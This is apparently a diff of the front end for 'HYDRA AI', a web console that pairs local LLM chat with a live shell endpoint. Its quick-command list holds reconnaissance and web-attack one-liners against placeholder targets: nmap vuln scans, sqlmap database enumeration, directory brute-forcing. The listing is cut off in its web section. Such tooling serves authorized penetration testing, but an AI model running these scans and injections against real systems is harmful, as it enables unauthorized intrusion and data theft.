.mbtn.d{background:rgba(255,0,60,.08);color:var(--accent2);border:1px solid rgba(255,0,60,.25)}
|
| 270 |
+
.mbtn.d:hover{background:rgba(255,0,60,.18)}
|
| 271 |
+
.no-m{text-align:center;padding:40px;color:var(--dim);font-size:11px;letter-spacing:2px}
|
| 272 |
+
|
| 273 |
+
/* ββ LOGS ββ */
|
| 274 |
+
#logs-panel{background:#030508}
|
| 275 |
+
#log-out{
|
| 276 |
+
flex:1;overflow-y:auto;padding:12px 16px;
|
| 277 |
+
font-family:var(--font-mono);font-size:11px;line-height:1.8;
|
| 278 |
+
}
|
| 279 |
+
.ll{border-bottom:1px solid rgba(255,255,255,.02);padding:1px 0}
|
| 280 |
+
.ll.info{color:#4a7a8a}
|
| 281 |
+
.ll.warn{color:var(--warn)}
|
| 282 |
+
.ll.error{color:var(--accent2)}
|
| 283 |
+
.ll.ok{color:var(--accent)}
|
| 284 |
+
.lts{color:var(--dim);margin-right:8px;user-select:none}
|
| 285 |
+
|
| 286 |
+
/* TOAST */
|
| 287 |
+
#toast{position:fixed;bottom:18px;right:18px;z-index:10000;display:flex;flex-direction:column;gap:7px;pointer-events:none}
|
| 288 |
+
.ti{
|
| 289 |
+
background:var(--panel);border-radius:2px;padding:9px 14px;
|
| 290 |
+
font-size:11px;animation:tIn .25s ease;border-left:2px solid var(--accent);
|
| 291 |
+
box-shadow:0 4px 20px rgba(0,0,0,.8);
|
| 292 |
+
}
|
| 293 |
+
.ti.e{border-color:var(--accent2);color:var(--accent2)}
|
| 294 |
+
.ti.ok{border-color:var(--accent);color:var(--accent)}
|
| 295 |
+
@keyframes tIn{from{opacity:0;transform:translateX(16px)}to{opacity:1;transform:none}}
|
| 296 |
+
|
| 297 |
+
*::-webkit-scrollbar{width:3px;height:3px}
|
| 298 |
*::-webkit-scrollbar-track{background:transparent}
|
| 299 |
+
*::-webkit-scrollbar-thumb{background:var(--border);border-radius:1px}
|
| 300 |
</style>
|
| 301 |
</head>
|
| 302 |
<body>
|
| 303 |
<div id="app">
|
| 304 |
<!-- HEADER -->
|
| 305 |
<header>
|
| 306 |
+
<div class="logo">HYDRA<em>AI</em></div>
|
| 307 |
+
<div class="dot" id="dot"></div>
|
| 308 |
+
<div class="status-txt" id="stxt">CONNECTING...</div>
|
| 309 |
<div class="spacer"></div>
|
| 310 |
+
<div class="model-wrap">
|
| 311 |
<label>MODEL</label>
|
| 312 |
+
<select id="gmodel"><option value="">β select β</option></select>
|
| 313 |
</div>
|
| 314 |
</header>
|
| 315 |
|
| 316 |
+
<div id="main">
|
|
|
|
| 317 |
<!-- TAB NAV -->
|
| 318 |
<nav class="tab-nav">
|
| 319 |
+
<button class="tbtn active" data-tab="chat" title="Chat">
|
| 320 |
<svg viewBox="0 0 24 24"><path d="M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 2z"/></svg>
|
| 321 |
CHAT
|
| 322 |
</button>
|
| 323 |
+
<button class="tbtn" data-tab="shell" title="Shell">
|
| 324 |
<svg viewBox="0 0 24 24"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
|
| 325 |
SHELL
|
| 326 |
</button>
|
| 327 |
+
<button class="tbtn" data-tab="models" title="Models">
|
| 328 |
<svg viewBox="0 0 24 24"><rect x="2" y="3" width="20" height="14" rx="2"/><line x1="8" y1="21" x2="16" y2="21"/><line x1="12" y1="17" x2="12" y2="21"/></svg>
|
| 329 |
MODELS
|
| 330 |
</button>
|
| 331 |
+
<button class="tbtn" data-tab="logs" title="Logs">
|
| 332 |
+
<svg viewBox="0 0 24 24"><path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><polyline points="14 2 14 8 20 8"/><line x1="16" y1="13" x2="8" y2="13"/><line x1="16" y1="17" x2="8" y2="17"/></svg>
|
| 333 |
LOGS
|
| 334 |
</button>
|
| 335 |
</nav>
|
| 336 |
|
| 337 |
<div class="panels">
|
| 338 |
+
|
| 339 |
<!-- ββ CHAT ββ -->
|
| 340 |
<div class="panel active" id="chat-panel">
|
| 341 |
+
<div class="ph">
|
| 342 |
+
<div class="ph-title">AI <em>CHAT</em></div>
|
| 343 |
+
<div class="badge" id="chat-badge">no model</div>
|
| 344 |
<div style="flex:1"></div>
|
| 345 |
+
<button class="abtn s" style="font-size:10px;padding:4px 9px" onclick="clearChat()">CLEAR</button>
|
| 346 |
</div>
|
| 347 |
+
<div id="chat-msgs">
|
| 348 |
<div class="chat-empty" id="chat-empty">
|
| 349 |
+
<div class="big">HYDRA</div>
|
| 350 |
+
<div class="sub">SELECT A MODEL β BEGIN OPERATION</div>
|
| 351 |
</div>
|
| 352 |
</div>
|
| 353 |
+
<div id="chat-bar">
|
| 354 |
+
<textarea id="chat-in" rows="1" placeholder="Enter command... (Enter to send, Shift+Enter for newline)"></textarea>
|
| 355 |
<button class="send-btn" id="send-btn" onclick="sendChat()">
|
| 356 |
<svg viewBox="0 0 24 24"><line x1="22" y1="2" x2="11" y2="13"/><polygon points="22 2 15 22 11 13 2 9 22 2"/></svg>
|
| 357 |
SEND
|
|
|
|
| 361 |
|
| 362 |
<!-- ββ SHELL ββ -->
|
| 363 |
<div class="panel" id="shell-panel">
|
| 364 |
+
<div class="ph">
|
| 365 |
+
<div class="ph-title">SHELL <em>TERMINAL</em></div>
|
| 366 |
+
<div class="badge red">LIVE</div>
|
| 367 |
</div>
|
| 368 |
+
<div class="shell-cats" id="shell-cats">
|
| 369 |
+
<button class="cat-btn active" onclick="switchCat(this,'system')">β SYSTEM</button>
|
| 370 |
+
<button class="cat-btn" onclick="switchCat(this,'recon')">π RECON</button>
|
| 371 |
+
<button class="cat-btn" onclick="switchCat(this,'web')">π WEB</button>
|
| 372 |
+
<button class="cat-btn" onclick="switchCat(this,'network')">π‘ NETWORK</button>
|
| 373 |
+
<button class="cat-btn" onclick="switchCat(this,'exploit')">π₯ EXPLOIT</button>
|
| 374 |
+
<button class="cat-btn" onclick="switchCat(this,'password')">π PASSWORD</button>
|
| 375 |
+
<button class="cat-btn" onclick="switchCat(this,'forensics')">π¬ FORENSICS</button>
|
| 376 |
+
<button class="cat-btn" onclick="switchCat(this,'ollama')">π¦ OLLAMA</button>
|
|
|
|
| 377 |
</div>
|
| 378 |
+
<div class="qcmds" id="qcmds"></div>
|
| 379 |
+
<div class="shell-bar">
|
| 380 |
+
<div class="shell-in-wrap">
|
| 381 |
+
<span class="sprmt">$ </span>
|
| 382 |
+
<input id="shell-in" type="text" placeholder="enter command..." autocomplete="off" spellcheck="false"/>
|
| 383 |
</div>
|
| 384 |
<button class="run-btn" id="run-btn" onclick="runShell()">βΆ RUN</button>
|
| 385 |
<button class="kill-btn" id="kill-btn" onclick="killShell()">β KILL</button>
|
| 386 |
+
<button class="abtn s" style="font-size:10px;padding:5px 9px" onclick="clearShell()">CLR</button>
|
|
|
|
|
|
|
|
|
|
| 387 |
</div>
|
| 388 |
+
<div id="shell-out"><div class="s-empty">// AWAITING COMMAND</div></div>
|
| 389 |
</div>
|
| 390 |
|
| 391 |
<!-- ββ MODELS ββ -->
|
| 392 |
<div class="panel" id="models-panel">
|
| 393 |
+
<div class="ph">
|
| 394 |
+
<div class="ph-title">MODEL <em>MANAGER</em></div>
|
| 395 |
+
<button class="abtn s" style="font-size:10px;padding:4px 9px" onclick="loadModels()">β» REFRESH</button>
|
| 396 |
</div>
|
| 397 |
+
<div class="models-body">
|
| 398 |
+
<div class="pull-box">
|
| 399 |
+
<div class="pull-box-title">PULL NEW MODEL</div>
|
| 400 |
+
<div class="pull-row">
|
| 401 |
+
<input id="pull-in" type="text" placeholder="e.g. hydra-ai, tinyllama, phi3, mistral"/>
|
| 402 |
+
<button class="abtn p" onclick="pullModel()">β¬ PULL</button>
|
|
|
|
|
|
|
|
|
|
| 403 |
</div>
|
| 404 |
+
<div class="popular" id="popular">
|
| 405 |
+
<span class="qc" onclick="setPull('hydra-ai')">hydra-ai</span>
|
| 406 |
+
<span class="qc" onclick="setPull('NeuralNexusLab/HacKing')">HacKing</span>
|
| 407 |
+
<span class="qc" onclick="setPull('qwen3.5:0.8b')">qwen3.5:0.8b</span>
|
| 408 |
+
<span class="qc" onclick="setPull('tinyllama')">tinyllama</span>
|
| 409 |
+
<span class="qc" onclick="setPull('phi3')">phi3</span>
|
| 410 |
+
<span class="qc" onclick="setPull('mistral')">mistral</span>
|
| 411 |
+
<span class="qc" onclick="setPull('deepseek-r1:7b')">deepseek-r1:7b</span>
|
| 412 |
</div>
|
| 413 |
</div>
|
| 414 |
+
<div class="prog-box" id="prog-box">
|
| 415 |
+
<div class="prog-lbl" id="prog-lbl">Pulling...</div>
|
| 416 |
+
<div class="prog-track"><div class="prog-fill" id="prog-fill"></div></div>
|
| 417 |
+
<div class="prog-stat" id="prog-stat">Initializing...</div>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 418 |
</div>
|
| 419 |
+
<div class="mgrid" id="mgrid"><div class="no-m">LOADING MODELS...</div></div>
|
| 420 |
</div>
|
| 421 |
</div>
|
| 422 |
|
| 423 |
<!-- ββ LOGS ββ -->
|
| 424 |
<div class="panel" id="logs-panel">
|
| 425 |
+
<div class="ph">
|
| 426 |
+
<div class="ph-title">SYSTEM <em>LOGS</em></div>
|
| 427 |
+
<button class="abtn s" style="font-size:10px;padding:4px 9px" onclick="clearLogs()">CLEAR</button>
|
| 428 |
</div>
|
| 429 |
+
<div id="log-out">
|
| 430 |
+
<div class="ll info"><span class="lts">[INIT]</span> HYDRA-AI control interface online</div>
|
| 431 |
</div>
|
| 432 |
</div>
|
|
|
|
|
|
|
|
|
|
| 433 |
|
| 434 |
+
</div><!-- /panels -->
|
| 435 |
+
</div><!-- /main -->
|
| 436 |
+
</div><!-- /app -->
|
| 437 |
+
|
| 438 |
<div id="toast"></div>
|
| 439 |
|
| 440 |
<script>
|
| 441 |
+
const BASE = window.location.origin;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 442 |
let currentModel = '';
|
| 443 |
+
let shellCtrl = null;
|
|
|
|
| 444 |
let shellRunning = false;
|
| 445 |
+
let shellHist = [];
|
| 446 |
+
let shellHIdx = -1;
|
| 447 |
+
|
| 448 |
+
// ββ UTILS ββββββββββββββββββββββββββββββββββββββββββββ
|
| 449 |
+
function log(msg, type='info'){
|
| 450 |
+
const el=document.getElementById('log-out');
|
| 451 |
+
const ts=new Date().toLocaleTimeString('en',{hour12:false});
|
| 452 |
+
const d=document.createElement('div');
|
| 453 |
+
d.className='ll '+type;
|
| 454 |
+
d.innerHTML=`<span class="lts">[${ts}]</span> ${msg}`;
|
| 455 |
+
el.appendChild(d);
|
| 456 |
+
el.scrollTop=el.scrollHeight;
|
| 457 |
+
}
|
| 458 |
+
function toast(msg,type=''){
|
| 459 |
+
const t=document.getElementById('toast');
|
| 460 |
+
const d=document.createElement('div');
|
| 461 |
+
d.className='ti '+(type==='error'?'e':type==='ok'?'ok':'');
|
| 462 |
+
d.textContent=msg;
|
| 463 |
+
t.appendChild(d);
|
| 464 |
+
setTimeout(()=>d.remove(),3000);
|
| 465 |
+
}
|
| 466 |
+
function clearLogs(){document.getElementById('log-out').innerHTML='';}
|
| 467 |
+
function fmt(b){if(!b)return '';const g=b/1e9;return g>=1?g.toFixed(1)+'GB':(b/1e6).toFixed(0)+'MB';}
|
| 468 |
+
function hhmm(){return new Date().toLocaleTimeString('en',{hour12:false,hour:'2-digit',minute:'2-digit'});}
|
| 469 |
+
|
| 470 |
+
// ββ TABS βββββββββββββββββββββββββββββββββββββββββββββ
|
| 471 |
+
document.querySelectorAll('.tbtn').forEach(btn=>{
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 472 |
btn.addEventListener('click',()=>{
|
| 473 |
+
const tab=btn.dataset.tab;
|
| 474 |
+
document.querySelectorAll('.tbtn').forEach(b=>b.classList.remove('active'));
|
| 475 |
document.querySelectorAll('.panel').forEach(p=>p.classList.remove('active'));
|
| 476 |
btn.classList.add('active');
|
| 477 |
document.getElementById(tab+'-panel').classList.add('active');
|
|
|
|
| 479 |
});
|
| 480 |
});
|
| 481 |
|
| 482 |
+
// ββ STATUS βββββββββββββββββββββββββββββββββββββββββββ
|
| 483 |
+
async function checkStatus(){
|
| 484 |
+
try{
|
| 485 |
+
const r=await fetch(`${BASE}/api/tags`,{signal:AbortSignal.timeout(4000)});
|
|
|
|
|
|
|
| 486 |
if(r.ok){
|
| 487 |
+
document.getElementById('dot').classList.add('on');
|
| 488 |
+
document.getElementById('stxt').textContent='ONLINE';
|
| 489 |
+
await loadModels(true);
|
|
|
|
| 490 |
}
|
| 491 |
+
}catch(e){
|
| 492 |
+
document.getElementById('dot').classList.remove('on');
|
| 493 |
+
document.getElementById('stxt').textContent='OFFLINE';
|
| 494 |
log('Server unreachable: '+e.message,'error');
|
| 495 |
}
|
| 496 |
}
|
| 497 |
|
| 498 |
+
// ββ MODELS βββββββββββββββββββββββββββββββββββββββββββ
|
| 499 |
+
async function loadModels(silent=false){
|
| 500 |
+
try{
|
| 501 |
+
const r=await fetch(`${BASE}/api/tags`);
|
| 502 |
+
const data=await r.json();
|
| 503 |
+
const models=data.models||[];
|
| 504 |
+
|
| 505 |
+
// Update select
|
| 506 |
+
const sel=document.getElementById('gmodel');
|
| 507 |
+
const prev=sel.value;
|
| 508 |
+
sel.innerHTML='<option value="">β select β</option>';
|
|
|
|
|
|
|
| 509 |
models.forEach(m=>{
|
| 510 |
+
const o=document.createElement('option');
|
| 511 |
+
o.value=m.name;o.textContent=m.name;
|
| 512 |
sel.appendChild(o);
|
| 513 |
});
|
| 514 |
+
if(prev) sel.value=prev;
|
| 515 |
|
| 516 |
+
// Update grid
|
| 517 |
+
const grid=document.getElementById('mgrid');
|
| 518 |
if(!models.length){
|
| 519 |
+
grid.innerHTML='<div class="no-m">NO MODELS β PULL ONE ABOVE</div>';
|
| 520 |
return;
|
| 521 |
}
|
| 522 |
+
grid.innerHTML=models.map(m=>`
|
| 523 |
+
<div class="mcard ${currentModel===m.name?'active':''}">
|
| 524 |
+
<div class="mname">${m.name}</div>
|
| 525 |
+
<div class="mmeta">
|
| 526 |
<span>πΎ ${fmt(m.size)}</span>
|
| 527 |
${m.details?.parameter_size?`<span>π’ ${m.details.parameter_size}</span>`:''}
|
| 528 |
${m.details?.quantization_level?`<span>β‘ ${m.details.quantization_level}</span>`:''}
|
| 529 |
</div>
|
| 530 |
+
<div class="mbtns">
|
| 531 |
+
<button class="mbtn u" onclick="selectModel('${m.name}')">USE</button>
|
| 532 |
+
<button class="mbtn d" onclick="deleteModel('${m.name}')">DELETE</button>
|
| 533 |
</div>
|
| 534 |
</div>`).join('');
|
| 535 |
+
if(!silent) log(`Loaded ${models.length} models`,'ok');
|
| 536 |
+
}catch(e){
|
| 537 |
+
if(!silent) log('Models error: '+e.message,'error');
|
|
|
|
| 538 |
}
|
| 539 |
}
|
| 540 |
|
| 541 |
function selectModel(name){
|
| 542 |
+
currentModel=name;
|
| 543 |
+
document.getElementById('gmodel').value=name;
|
| 544 |
+
document.getElementById('chat-badge').textContent=name;
|
| 545 |
+
toast('βΆ '+name,'ok');
|
| 546 |
+
log('Model β '+name,'ok');
|
| 547 |
loadModels(true);
|
| 548 |
}
|
| 549 |
|
| 550 |
+
document.getElementById('gmodel').addEventListener('change',function(){
|
| 551 |
if(this.value) selectModel(this.value);
|
| 552 |
});
|
| 553 |
|
| 554 |
async function deleteModel(name){
|
| 555 |
+
if(!confirm(`Delete "${name}"?`)) return;
|
| 556 |
+
try{
|
| 557 |
await fetch(`${BASE}/api/delete`,{method:'DELETE',headers:{'Content-Type':'application/json'},body:JSON.stringify({name})});
|
| 558 |
toast('Deleted: '+name,'error');
|
| 559 |
+
log('Deleted: '+name,'warn');
|
| 560 |
loadModels();
|
| 561 |
+
if(currentModel===name){currentModel='';document.getElementById('gmodel').value='';}
|
| 562 |
+
}catch(e){toast('Delete failed','error');}
|
|
|
|
|
|
|
| 563 |
}
|
| 564 |
|
| 565 |
+
function setPull(name){document.getElementById('pull-in').value=name;}
|
| 566 |
+
|
| 567 |
async function pullModel(){
|
| 568 |
+
const name=document.getElementById('pull-in').value.trim();
|
| 569 |
+
if(!name){toast('Enter model name','error');return;}
|
| 570 |
+
const pb=document.getElementById('prog-box');
|
| 571 |
+
const fill=document.getElementById('prog-fill');
|
| 572 |
+
const stat=document.getElementById('prog-stat');
|
| 573 |
+
const lbl=document.getElementById('prog-lbl');
|
| 574 |
+
pb.classList.add('show');
|
| 575 |
+
lbl.textContent='Pulling: '+name;
|
| 576 |
+
fill.style.width='0%';stat.textContent='Starting...';
|
| 577 |
+
log('Pulling: '+name,'info');
|
| 578 |
+
try{
|
| 579 |
+
const r=await fetch(`${BASE}/api/pull`,{
|
|
|
|
|
|
|
| 580 |
method:'POST',headers:{'Content-Type':'application/json'},
|
| 581 |
body:JSON.stringify({name})
|
| 582 |
});
|
| 583 |
+
const reader=r.body.getReader();
|
| 584 |
+
const dec=new TextDecoder();
|
| 585 |
let buf='';
|
| 586 |
while(true){
|
| 587 |
const {done,value}=await reader.read();
|
| 588 |
if(done) break;
|
| 589 |
buf+=dec.decode(value,{stream:true});
|
| 590 |
+
const lines=buf.split('\n');buf=lines.pop();
|
| 591 |
for(const line of lines){
|
| 592 |
if(!line.trim()) continue;
|
| 593 |
try{
|
| 594 |
const d=JSON.parse(line);
|
| 595 |
+
stat.textContent=d.status||'...';
|
| 596 |
+
if(d.total&&d.completed) fill.style.width=Math.round(d.completed/d.total*100)+'%';
|
|
|
|
|
|
|
|
|
|
| 597 |
}catch(e){}
|
| 598 |
}
|
| 599 |
}
|
| 600 |
+
pb.classList.remove('show');
|
| 601 |
+
toast('β Pulled: '+name,'ok');
|
| 602 |
+
log('Pull complete: '+name,'ok');
|
| 603 |
+
document.getElementById('pull-in').value='';
|
|
|
|
| 604 |
loadModels();
|
| 605 |
+
}catch(e){
|
| 606 |
+
pb.classList.remove('show');
|
| 607 |
+
toast('Pull failed','error');log('Pull error: '+e.message,'error');
|
| 608 |
}
|
| 609 |
}
|
| 610 |
|
| 611 |
+
document.getElementById('pull-in').addEventListener('keydown',e=>{if(e.key==='Enter')pullModel();});
|
|
|
|
| 612 |
|
| 613 |
+
// ββ CHAT βββββββββββββββββββββββββββββββββββββββββββββ
|
|
|
|
|
|
|
| 614 |
function clearChat(){
|
| 615 |
+
const m=document.getElementById('chat-msgs');
|
| 616 |
+
m.innerHTML='<div class="chat-empty" id="chat-empty"><div class="big">HYDRA</div><div class="sub">SELECT A MODEL β BEGIN OPERATION</div></div>';
|
|
|
|
| 617 |
log('Chat cleared');
|
| 618 |
}
|
| 619 |
|
| 620 |
+
function addMsg(role, text, streaming=false){
|
| 621 |
const empty=document.getElementById('chat-empty');
|
| 622 |
if(empty) empty.remove();
|
| 623 |
+
const msgs=document.getElementById('chat-msgs');
|
| 624 |
const wrap=document.createElement('div');
|
| 625 |
+
wrap.className='msg '+role;
|
| 626 |
const av=document.createElement('div');
|
| 627 |
+
av.className='av';
|
| 628 |
av.textContent=role==='user'?'YOU':'AI';
|
| 629 |
const bub=document.createElement('div');
|
| 630 |
+
bub.className='bubble'+(streaming?' streaming':'');
|
| 631 |
bub.textContent=text;
|
| 632 |
+
const t=document.createElement('div');
|
| 633 |
+
t.className='mtime';t.textContent=hhmm();
|
| 634 |
const inner=document.createElement('div');
|
| 635 |
+
inner.appendChild(bub);inner.appendChild(t);
|
| 636 |
+
wrap.appendChild(av);wrap.appendChild(inner);
|
| 637 |
msgs.appendChild(wrap);
|
| 638 |
msgs.scrollTop=msgs.scrollHeight;
|
| 639 |
return bub;
|
| 640 |
}
|
| 641 |
|
| 642 |
async function sendChat(){
|
| 643 |
+
const input=document.getElementById('chat-in');
|
| 644 |
const text=input.value.trim();
|
| 645 |
if(!text) return;
|
| 646 |
if(!currentModel){toast('Select a model first','error');return;}
|
| 647 |
|
| 648 |
+
input.value='';input.style.height='';
|
| 649 |
document.getElementById('send-btn').disabled=true;
|
| 650 |
+
log(`Chat β ${currentModel}: "${text.slice(0,50)}"`,'info');
|
| 651 |
|
| 652 |
+
addMsg('user', text);
|
| 653 |
+
const bubble=addMsg('ai','',true);
|
| 654 |
+
let full='';
|
| 655 |
|
| 656 |
+
try{
|
| 657 |
+
// app.py /api/chat with "message" key streams plain text
|
|
|
|
|
|
|
| 658 |
const r=await fetch(`${BASE}/api/chat`,{
|
| 659 |
+
method:'POST',
|
| 660 |
+
headers:{'Content-Type':'application/json'},
|
| 661 |
+
body:JSON.stringify({model:currentModel, message:text, stream:true})
|
| 662 |
});
|
| 663 |
+
|
| 664 |
+
if(!r.ok) throw new Error('HTTP '+r.status);
|
| 665 |
+
|
| 666 |
const reader=r.body.getReader();
|
| 667 |
const dec=new TextDecoder();
|
| 668 |
+
|
| 669 |
while(true){
|
| 670 |
const {done,value}=await reader.read();
|
| 671 |
if(done) break;
|
| 672 |
+
// app.py streams raw text tokens β append directly, no JSON parsing
|
| 673 |
+
const chunk=dec.decode(value,{stream:true});
|
| 674 |
+
full+=chunk;
|
| 675 |
+
bubble.textContent=full;
|
| 676 |
+
document.getElementById('chat-msgs').scrollTop=9999;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 677 |
}
|
| 678 |
+
|
| 679 |
bubble.classList.remove('streaming');
|
| 680 |
+
log(`Response: ${full.length} chars`,'ok');
|
| 681 |
+
}catch(e){
|
| 682 |
+
bubble.textContent='[ERROR] '+e.message;
|
|
|
|
| 683 |
bubble.classList.remove('streaming');
|
| 684 |
+
bubble.style.color='var(--accent2)';
|
| 685 |
log('Chat error: '+e.message,'error');
|
| 686 |
+
toast('Chat failed','error');
|
| 687 |
}
|
| 688 |
+
|
| 689 |
document.getElementById('send-btn').disabled=false;
|
| 690 |
input.focus();
|
| 691 |
}
|
| 692 |
|
| 693 |
+
const chatIn=document.getElementById('chat-in');
|
| 694 |
+
chatIn.addEventListener('keydown',e=>{if(e.key==='Enter'&&!e.shiftKey){e.preventDefault();sendChat();}});
|
| 695 |
+
chatIn.addEventListener('input',function(){this.style.height='auto';this.style.height=Math.min(this.scrollHeight,120)+'px';});
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 696 |
|
| 697 |
+
// ββ SHELL βββββββββββββββββββββββββββββββββββββββββββββ
|
| 698 |
+
function clearShell(){document.getElementById('shell-out').innerHTML='<div class="s-empty">// CLEARED</div>';}
|
|
|
|
|
|
|
|
|
|
|
|
|
| 699 |
|
| 700 |
+
function setCmd(cmd){document.getElementById('shell-in').value=cmd;document.getElementById('shell-in').focus();}
|
|
|
|
|
|
|
|
|
|
| 701 |
|
| 702 |
+
function addShellLine(text,cls=''){
|
| 703 |
+
const out=document.getElementById('shell-out');
|
| 704 |
+
const p=out.querySelector('.s-empty');if(p)p.remove();
|
| 705 |
+
const d=document.createElement('div');
|
| 706 |
+
if(cls) d.className=cls;
|
| 707 |
+
d.textContent=text;
|
| 708 |
+
out.appendChild(d);
|
|
|
|
|
|
|
| 709 |
out.scrollTop=out.scrollHeight;
|
|
|
|
| 710 |
}
|
| 711 |
|
| 712 |
async function runShell(){
|
| 713 |
+
const inp=document.getElementById('shell-in');
|
| 714 |
+
const cmd=inp.value.trim();
|
| 715 |
if(!cmd||shellRunning) return;
|
| 716 |
|
| 717 |
+
shellHist.unshift(cmd);shellHIdx=-1;
|
| 718 |
+
inp.value='';
|
|
|
|
|
|
|
| 719 |
shellRunning=true;
|
| 720 |
+
shellCtrl=new AbortController();
|
| 721 |
document.getElementById('run-btn').disabled=true;
|
| 722 |
+
document.getElementById('kill-btn').classList.add('show');
|
| 723 |
|
| 724 |
+
addShellLine('$ '+cmd,'s-echo');
|
| 725 |
+
log('Shell: '+cmd,'info');
|
| 726 |
|
| 727 |
+
try{
|
| 728 |
const r=await fetch(`${BASE}/shell`,{
|
| 729 |
method:'POST',
|
| 730 |
headers:{'Content-Type':'application/json'},
|
| 731 |
body:JSON.stringify({cmd}),
|
| 732 |
+
signal:shellCtrl.signal
|
| 733 |
});
|
|
|
|
| 734 |
const reader=r.body.getReader();
|
| 735 |
const dec=new TextDecoder();
|
| 736 |
let buf='';
|
|
|
|
| 737 |
while(true){
|
| 738 |
const {done,value}=await reader.read();
|
| 739 |
if(done) break;
|
| 740 |
buf+=dec.decode(value,{stream:true});
|
| 741 |
+
const lines=buf.split('\n');buf=lines.pop();
|
| 742 |
+
for(const line of lines) addShellLine(line);
|
|
|
|
|
|
|
|
|
|
|
|
|
| 743 |
}
|
| 744 |
+
if(buf) addShellLine(buf);
|
| 745 |
+
addShellLine('[done]','s-exit0');
|
| 746 |
+
log('Shell done','ok');
|
| 747 |
+
}catch(e){
|
| 748 |
if(e.name!=='AbortError'){
|
| 749 |
+
addShellLine('[error] '+e.message,'s-exit1');
|
| 750 |
log('Shell error: '+e.message,'error');
|
| 751 |
+
}else{
|
| 752 |
+
addShellLine('[killed]','s-exit1');
|
| 753 |
}
|
| 754 |
}
|
| 755 |
|
| 756 |
+
shellRunning=false;shellCtrl=null;
|
|
|
|
| 757 |
document.getElementById('run-btn').disabled=false;
|
| 758 |
+
document.getElementById('kill-btn').classList.remove('show');
|
| 759 |
+
inp.focus();
|
| 760 |
}
|
| 761 |
|
| 762 |
function killShell(){
|
| 763 |
+
if(shellCtrl){shellCtrl.abort();toast('Killed','error');log('Shell killed','warn');}
|
|
|
|
|
|
|
|
|
|
|
|
|
| 764 |
}
|
| 765 |
|
| 766 |
+
document.getElementById('shell-in').addEventListener('keydown',e=>{
|
|
|
|
| 767 |
if(e.key==='Enter'){runShell();return;}
|
| 768 |
+
if(e.key==='ArrowUp'){e.preventDefault();if(shellHIdx<shellHist.length-1){shellHIdx++;e.target.value=shellHist[shellHIdx]||'';}}
|
| 769 |
+
if(e.key==='ArrowDown'){e.preventDefault();if(shellHIdx>0){shellHIdx--;e.target.value=shellHist[shellHIdx]||'';}else{shellHIdx=-1;e.target.value='';}}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 770 |
});
|
| 771 |
|
| 772 |
+
// ββ KALI CMDS βββββββββββββββββββββββββββββββββββββββββ
|
| 773 |
+
const KCMDS={
|
| 774 |
+
system:[
|
| 775 |
+
{l:'uname -a', c:'uname -a'},
|
| 776 |
+
{l:'os-release', c:'cat /etc/os-release'},
|
| 777 |
+
{l:'kali version', c:'cat /etc/kali_version 2>/dev/null || lsb_release -a'},
|
| 778 |
+
{l:'tools list', c:"dpkg -l | grep -E 'nmap|hydra|sqlmap|metasploit|john|aircrack|nikto|dirb|gobuster|wfuzz' | awk '{print $2, $3}'"},
|
| 779 |
+
{l:'df -h', c:'df -h'},
|
| 780 |
+
{l:'free -h', c:'free -h'},
|
| 781 |
+
{l:'ps top', c:'ps aux --sort=-%cpu | head -20'},
|
| 782 |
+
{l:'ip addr', c:'ip addr show'},
|
| 783 |
+
{l:'whoami', c:'whoami && id'},
|
| 784 |
+
{l:'env', c:'env | sort'},
|
| 785 |
+
{l:'nvidia-smi', c:'nvidia-smi'},
|
| 786 |
+
{l:'uptime', c:'uptime'},
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 787 |
],
|
| 788 |
+
recon:[
|
| 789 |
+
{l:'nmap -sV', c:'nmap -sV -sC --open TARGET_IP'},
|
| 790 |
+
{l:'nmap full', c:'nmap -p- -T4 TARGET_IP'},
|
| 791 |
+
{l:'nmap vuln', c:'nmap --script=vuln TARGET_IP'},
|
| 792 |
+
{l:'nmap OS', c:'nmap -O TARGET_IP'},
|
| 793 |
+
{l:'dnsrecon', c:'dnsrecon -d TARGET_DOMAIN'},
|
| 794 |
+
{l:'dnsenum', c:'dnsenum TARGET_DOMAIN'},
|
| 795 |
+
{l:'fierce', c:'fierce --domain TARGET_DOMAIN'},
|
| 796 |
+
{l:'theHarvester', c:'theHarvester -d TARGET_DOMAIN -b all'},
|
| 797 |
+
{l:'whois', c:'whois TARGET_DOMAIN'},
|
| 798 |
+
{l:'dig any', c:'dig TARGET_DOMAIN ANY +noall +answer'},
|
| 799 |
+
{l:'amass enum', c:'amass enum -d TARGET_DOMAIN'},
|
|
|
|
|
|
|
|
|
|
| 800 |
],
|
| 801 |
+
web:[
|
| 802 |
+
{l:'nikto', c:'nikto -h http://TARGET_IP'},
|
| 803 |
+
{l:'gobuster dir', c:'gobuster dir -u http://TARGET_IP -w /usr/share/wordlists/dirb/common.txt'},
|
| 804 |
+
{l:'dirb', c:'dirb http://TARGET_IP /usr/share/wordlists/dirb/common.txt'},
|
| 805 |
+
{l:'sqlmap GET', c:"sqlmap -u 'http://TARGET_IP/page?id=1' --dbs --batch"},
|
| 806 |
+
{l:'sqlmap POST', c:"sqlmap -u 'http://TARGET_IP/login' --data='user=a&pass=b' --dbs --batch"},
|
| 807 |
+
{l:'wfuzz', c:'wfuzz -c -w /usr/share/wordlists/dirb/common.txt --hc 404 http://TARGET_IP/FUZZ'},
|
| 808 |
+
{l:'ffuf', c:'ffuf -u http://TARGET_IP/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301'},
|
| 809 |
+
{l:'whatweb', c:'whatweb http://TARGET_IP'},
|
| 810 |
+
{l:'curl headers', c:'curl -I http://TARGET_IP'},
|
| 811 |
+
{l:'wordlists', c:'ls /usr/share/wordlists/'},
|
|
|
|
